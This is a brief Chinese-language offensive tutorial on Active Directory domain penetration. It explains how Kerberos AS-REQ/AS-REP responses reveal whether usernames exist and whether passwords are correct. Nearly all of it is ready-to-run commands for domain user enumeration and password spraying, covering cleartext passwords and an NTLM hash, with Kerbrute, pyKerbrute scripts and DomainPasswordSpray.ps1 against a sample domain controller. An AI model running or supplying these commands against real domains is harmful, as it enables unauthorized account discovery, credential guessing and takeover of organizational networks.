域渗透-用户枚举和密码喷洒
在 Kerberos 协议认证的 AS-REQ 阶段,cname 的值是用户名。当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击
域内用户枚举
当主机不在域内时,我们可以通过域内用户枚举来探测域内的用户。
我们可以使用Kerbrute工具进行探测。
工具地址:https://github.com/ropnop/kerbrute
kerbrute_windows_amd64.exe userenum --dc 10.1.1.1 -d hack.com 1.txt
域控ip 域名 字典
也可以通过pyKerbrute工具
工具地址:https://github.com/3gstudent/pyKerbrute
python2 EnumADUser.py 192.168.65.252 hack.com 1.txt udp
或
python2 EnumADUser.py 10.1.1.1 hack.com 1.txt tcp
密码喷洒攻击
exe
kerbrute_windows_amd64.exe passwordspray --dc 10.1.1.1 -d hack.com 1.txt 123.com
py脚本
针对明文进行喷洒
python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt clearpassword 123.com tcp
针对哈希进行喷洒
python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt ntlmhash afffeba176210fad4628f0524bfe1942 udp
但我更推荐这个
ps脚本
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 密码
Invoke-DomainPasswordSpray -UserList user.txt -Domain hack.com -PasswordList pass.txt -OutFile sprayed-creds.txt
自定义账户密码字典